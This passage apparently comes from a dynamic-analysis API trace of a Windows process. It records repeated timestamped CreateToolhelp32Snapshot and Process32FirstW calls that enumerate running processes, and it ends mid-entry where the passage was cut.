CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0217.934] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0218.274] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0218.447] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0218.617] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0218.757] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0218.986] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0219.195] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0219.365] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0219.537] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.674] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0219.677] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0219.982] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0220.275] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0220.476] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0220.634] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0220.854] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0221.010] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.204] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0221.208] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.420] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0221.441] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0221.596] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0221.788] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0222.037] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0222.242] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0222.455] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.592] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0222.627] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0222.824] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0223.018] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0223.189] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0223.384] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0223.593] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0223.830] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.277] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0224.280] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0224.452] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0224.684] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.870] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0224.873] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.041] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0225.045] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0225.210] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0225.405] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0225.637] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.776] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0225.779] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0226.012] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0226.272] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.508] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0226.511] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0226.713] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.915] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0226.919] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.132] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0227.150] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0227.306] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0227.462] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0227.607] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0227.759] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0228.259] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0228.489] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0228.700] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0228.874] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0229.084] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0229.303] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0229.475] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0229.673] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.936] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0229.939] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0230.233] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0230.425] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.580] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0230.582] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.735] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0230.739] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.939] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0230.961] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0231.165] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0231.393] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0231.547] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.733] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0231.736] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 